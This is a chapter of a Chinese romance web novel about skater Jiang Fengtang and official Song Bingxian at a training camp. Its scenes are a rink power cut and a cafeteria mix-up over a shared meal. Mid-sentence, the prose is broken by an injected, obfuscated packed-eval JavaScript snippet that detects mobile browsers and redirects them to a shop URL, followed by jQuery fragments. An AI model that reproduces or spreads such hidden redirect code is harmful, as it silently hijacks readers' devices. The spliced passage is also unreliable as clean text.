“你跟他很熟?”他沉声。
“不是我,是步萌,你不知道吗,你这段时间提出的禁爱令不就是针对他们两个人的吗?”
他没有立刻回答她的话,只是静静地看着她,眼神里有种让人捉摸不透的情绪。
“嗯。”时间一秒秒过去,他轻应一声,算是认下了,又说:“也不全是这个原因。”
江逢棠斩钉截铁,“我当然知道还有别的原因。”
“说说看。”他脸色没什么表情,单手抄进西裤裤兜里,注视着她。
“还不是因为你是负责这次集训的人,之前都是其他人负责,你想比他们做的更好,就决定高强度压榨运动员。”
“你们这种人,不都是这样的吗,这算是你们引以为傲的政绩。”
她说完这番话,似乎看到他脸上一闪而过的笑意,嘴角抽动一下,很快又舒展。
“你觉得是,就是吧。”
他哪儿里知道运动员之间的恋爱关系,中国队里除了江逢棠,其他人的名字我都叫不上来,朝鲜队倒是都认识,但基本上没说过话,包括李宥珍在内。
他离开冰场并未走远,默默站在角落里,身后有一半米高的室内绿植盆栽,一个不容易被看见的地方,就像他这八年的日子一样。
冰场里只剩下步萌和江逢棠,步萌再三说,不用人陪,一个人可以完成加练,江逢棠执意留下,坐在一旁,默默看着她。
她看见在冰场上绕圈滑行的步萌,一圈又一圈,不知不觉眼睛里的人变了样子。
是一张跟她一模一样的脸,只是更年轻更稚嫩,眼神里透着倔强和不服气。
她追求宋秉宪的那一年,没少违反队里的规定,隔三差五就被总教练抓住责罚,她还要据理力争一番,非说自己是成年人,就算是运动员也有恋爱的权利。
争论不会让她得到任何好处,反而让她受到的责罚更严重,有次,差点被总教练勒令禁赛。
她留下不仅是陪着步萌,更是陪着曾经的自己,她有种很不好的预感,她怕步萌会成为下一个她。
步萌大概刚在冰场上滑了十几分钟,江逢棠的肚子饿的咕咕叫,这时,冰场上方的灯,齐刷刷地灭掉,毫无征兆地停电了。
步萌停下来,激动地说:“棠姐,停电了,太好了,我们可以去吃饭了。”
看不见她的脸,能听到她的声音。
她已经来到江逢棠身边,脱掉冰鞋,换下衣服,拽着她往外跑。
停电就得立刻离开冰场,这是成文的规定,防止运动员在场地内出意外。
江逢棠被步萌拉着离开冰场的时候,看到不远处的角落里,有个维修工人背着工具箱,打开电闸。
“奇怪了,怎么会突然停电,早上还是好好的。”
“谁放这里的盆栽,真碍事。”
他身旁有一盆硕大的龟背竹,叶子浓绿茂盛,显得周围的过道有些狭窄逼仄。
江逢棠只是扫过一眼,并没有注意什么,冰场停电之前从未发生过,这次也只是意外。
两人离开后,宋秉宪从训练场二楼的位置下来,走到一头雾水,找不到停电原因的维修工人旁边。
“不是线路问题,是防误触锁扣滑脱了。”
维修工人举着手电筒愣住,光束在宋秉宪手上晃动,半信半疑,把手电光移动到电闸上,果然发现一个半厘米长的金属扣错位卡在了传动杆的缝隙里。
他用螺丝刀轻轻一别,锁扣应声弹回正确位置,疑惑地说:“可这个锁扣怎么会突然滑脱……”
“可能是年久失修。”
宋秉宪轻描淡写,目光自始至终都没落到电闸上,莫不是神算,他转身走开,维修工人在他身后跟他道谢。
“不必谢。”
确实不用谢他。
江逢棠打完饭,顺手把餐盘放到一旁的桌子上,然后去外面的便利店买咖啡。
不一会儿,她拎着咖啡回来,坐下,拿起桌子就夹起一块西兰花放进嘴里,又吃了一口米饭。
一抬头,宋秉宪径直朝她走过来,手里没端餐盘。
餐厅没多少人,还有很多空位置,他无视其他,坐到她对面的椅子上。
“好吃吗?”
江逢棠眼珠一转,缓缓点下头,搞不懂他为什么要跟她坐到一起。
“这里有人了。”
她对面的位置是给步萌留着的,这丫头也不知道去哪儿了。
“好,我去旁边。”
宋秉宪起身,朝着一旁的桌子走过去,不知从哪儿跑过来一个服务员,样貌姣好,眼看就要撞上他。
他瞅人一眼,脸色冷着,往后退一步,女服务员摔在地上,身体擦过他面前,手还是碰到了他的西装外套。
“对不起,宋指导员。”
服务员从地上起来,赶紧给他道歉,鞠躬再鞠躬,态度恭敬。
江逢棠偏开目光,没忍住轻咳一声,看向窗外。
站在他面前的女服务员,身上穿着黑色制服,裙子比其他人的短,随着她走动,花白的大腿内侧看得一清二楚,领口比其他人的大,几乎就是个v领,弯腰时漏出胸前的一道深沟。
江逢棠作为一个女人都不好意思看,在场的很多人都低下头,特别是朝鲜的男运动员,在他们的观念里,这女服务员穿得不合规矩,放荡火辣。
宋秉宪没理她,看向旁边的江逢棠,她像是浑然没意识到来了个女人勾引他,一口又一口的吃饭。
她也吃得下去?
他黑着脸,脱下自己的外套,迈开大步,走向垃圾桶,将名贵的定制西装扔进去。
女服务员脸色变白,站在原地,如同小丑,她只是用手碰了一下宋指导员的西装外套,她的手是干净的,身上还有香水味,他就直接把外套扔了。
真的跟传言一样,没有女人能拿下他。
她是刚来上班的,是这里长得最漂亮的,见到宋指导员,芳心暗许,这才故意制造这场意外。
深知自己身材火辣,就把制服改小,却连他的一个正眼也没得到。
餐厅里有人小声议论起来,其他的服务生也从四面八方凑过来看,她脸上火辣辣的,扭头就跑。
她再也不要喜欢宋
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126144|196086||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
指导员了,这男人简直是个古怪的疯子。
宋秉宪脱下外面的西装,里面穿着一件月白衬衣,质感很好,一个褶皱也没有,两个固定衣袖的臂环勒住上臂,肌肉贲张,褪去外套后宽肩窄腰。
他坐到旁边的椅子上,负责餐厅的人,立刻过来,小声跟他交谈什么,弯着腰,态度恭敬。
步萌走进食堂,手里拿着一包纸巾,看到江逢棠坐在桌前吃饭,她快步走过去。
“棠姐,你这是吃的谁的饭?”
“我自己的呀。”
步萌张着嘴,伸手指向靠窗的一个桌子,桌子上放着两个餐盘。
“你去买咖啡,我把盘子都端到那边去了,想让饭凉的快点。”
“这个饭.......”
显然不是她的。
江逢棠意识到什么,眼睛睁圆,扭头看向旁边的桌子,宋秉宪翘着腿坐在那,面前什么也没有。
她立刻把餐盘端起来,走过去,放到他的桌子上。
“不好意思,我吃了你的饭。”
“我给你转账吧,再给你买一份一样的。”
宋秉宪抬起眼皮,放下手中的手机,手机屏幕没有熄灭,就正面摆在桌子上,显示着他的微信页面。
“不用,我吃这份就可以,省的浪费。”
饭菜已经被江逢棠吃了一半,盘子里的豌豆没动,她不爱吃,红烧肉倒是没了。
他拿起筷子,甚至是这双筷子都是她用的,夹起一粒豌豆,吃进嘴里,咀嚼地缓慢,像是在品尝什么珍肴。
她愣住,呼吸停滞一瞬,近距离看他,比任何人看得都真切,他用的是她的筷子,他吞咽的豌豆上,沾着筷子上的油光。
他咀嚼吞咽,是仰着头的,含水的眸子深深地凝视着她,舌头在嘴里缓慢地转动,或者是卷起。
江逢棠想歪了,滚烫的热意包裹着她,从耳根烧到脸颊。
她仓皇逃离,跑到窗边的桌前,坐下,再也不敢回头看,故作镇静,重新拿起筷子的手抖了抖。
坐在不远处专心吃饭的男人,嘴角的弧度分毫未变,唯独眼尾敛起几道细纹,零星的笑意无声无息。
靠窗的另一桌,坐着一男一女,女人紧挨着江逢棠,椅子背对背。
“宋指导好奇怪,被人碰一下衣服就丢了,却愿意跟人吃同一盘饭。”
“你这就不懂了吧,他那身西装是进口货,在他眼里不算什么,但是盘子里的饭就不一样了,是咱们朝鲜的老百姓种出来的粮食,他重视,自然不愿意浪费。”
“你说的有理,怪不得你能考进国营饭店,我就不行,我的觉悟还是不如你。”
“你以为什么?”
“我以为宋指导员喜欢那位小姐。”
“这话可不敢乱说,你以后少看点韩剧吧,管住自己的脑子和嘴。”
江逢棠正好喝水,握着杯壁的手一颤,一口水呛到鼻腔,咳嗽不止。
“我吃饱了,我先回去了。”
她抱着书包,快步逃离餐厅,一口气爬上七楼,后背靠在走廊的墙壁上,张着嘴大口喘气。